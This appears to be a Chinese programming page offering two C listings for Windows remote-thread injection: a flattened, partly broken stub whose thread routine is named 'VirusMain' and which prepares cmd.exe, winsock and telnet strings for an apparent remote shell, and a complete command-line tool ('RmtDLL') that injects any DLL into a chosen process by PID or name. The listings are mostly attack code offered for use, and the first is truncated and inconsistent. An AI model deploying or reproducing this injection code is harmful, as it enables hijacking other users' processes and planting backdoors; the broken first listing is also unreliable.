用VC++写的远程线程插入代码

#include<windows.h> #include <Shlwapi.h> #include <tlhelp32.h> #pragma comment(lib,"Shlwapi.lib") //参数结构 ; typedef struct _RemotePara{ DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; }RemotePara; BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 提升应用级调试权限 DWORD GetPidByName(char *szName); // 根据进程名称得到进程ID // 远程线程执行体 int CreateMain(char *szName,DWORD __stdcall ThreadProc) { const DWORD THREADSIZE=1024*4; DWORD byte_write; void *pRemoteThread; HANDLE hToken,hRemoteProcess,hThread; HINSTANCE hKernel,hUser32,hSock; RemotePara myRemotePara,*pRemotePara; DWORD pID; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken); EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE); // 获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS pID = GetPidByName(szName); if(pID == 0)return 0; hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID); if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存 pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程 if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0; ZeroMemory(&myRemotePara,sizeof(RemotePara)); hKernel = LoadLibrary( "kernel32.dll"); myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA"); myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary"); myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress"); strcat(myRemotePara.strMessageBox,"Sucess!/0"); strcat(myRemotePara.winsockDll,"wsock32.dll/0"); strcat(myRemotePara.cmd,"cmd.exe/0"); strcat(myRemotePara.telnetmsg,"Connect Sucessful!/n/0"); //写进目标进程 pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE); if(!pRemotePara)return 0; if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程 hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write); FreeLibrary(hKernel); CloseHandle(hRemoteProcess); CloseHandle(hToken); return 0; } BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){ TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegevalue(NULL,szPrivName,&tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0; AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL); return((GetLastError() == ERROR_SUCCESS)); } DWORD GetPidByName(char *szName) { HANDLE hProcessSnap = INVALID_HANDLE_value; PROCESSENTRY32 pe32={0}; DWORD dwRet=0; hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_value)return 0; pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0) { dwRet=pe32.th32ProcessID; break; } }while (Process32Next(hProcessSnap,&pe32)); } else return 0; if(hProcessSnap !=INVALID_HANDLE_value)CloseHandle(hProcessSnap); return dwRet; } DWORD __stdcall VirusMain(RemotePara *Para){ typedef HINSTANCE (__stdcall *PLoadLibrary)(char*); typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR); typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE ); PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary; PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress; PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwLoadLibrary; //... }

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
#include<psapi.h>

DWORD ProcessToPID( char *); //将进程名转换为PID的函数
void CheckError ( int, int, char *); //出错处理函数
void usage ( char *); //使用说明函数

PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;

void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
//处理命令行参数
if (argc!=3) usage("Parametes number incorrect!");
else{
//如果输入的是进程名，则转化为PID
if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
else dwRemoteProcessId = ProcessToPID(argv[1]);
//判断输入的DLL文件名是否是绝对路径
if(strstr(argv[2],"://")!=NULL)
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
else
{ //取得当前目录，将相对路径转换成绝对路径
iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
CheckError(iReturnCode, 0, "GetCurrentDirectory");
strcat(lpDllFullPathName, "//");
strcat(lpDllFullPathName, argv[2]);
printf("Convert DLL filename to FullPathName:/n/t%s/n/n",
lpDllFullPathName);
}
//判断DLL文件是否存在
iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//输出最后的操作参数
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d/n", argv[1], dwRemoteProcessId);
}

//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程，通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
}//end of main()

//将进程名转换为PID的函数
DWORD ProcessToPID(char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";

// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ )
{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INformATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较，如相同则返回进程PID
if(!_stricmp(szProcessName, InputProcessName)){
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名，返回0
CloseHandle( hProcess );
return 0;
}//end of ProcessToPID

//错误处理函数CheckError()
//如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode) {
printf("%s Error:%d/n/n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
}//end of CheckError()

//使用方法说明函数usage()
void usage(char * pErrorMsg)
{
printf("%s/n/n",pErrorMsg);
printf("/t/tRemote Process DLL by Shotgun/n");
printf("/tThis program can inject a DLL into remote process/n");
printf("Email:/n");
printf("/tShotgun@Xici.Net/n");
printf("HomePage:/n");
printf("/thttp://It.Xici.Net/n");
printf("/thttp://www.Patching.Net/n");
printf("USAGE:/n");
printf("/tRmtDLL.exe PID[|ProcessName] DLLFullPathName/n");
printf("Example:/n");
printf("/tRmtDLL.exe 1024 C://WINNT//System32//MyDLL.dll/n");
printf("/tRmtDLL.exe Explorer.exe C://MyDLL.dll/n");
exit(0);
}//end of usage()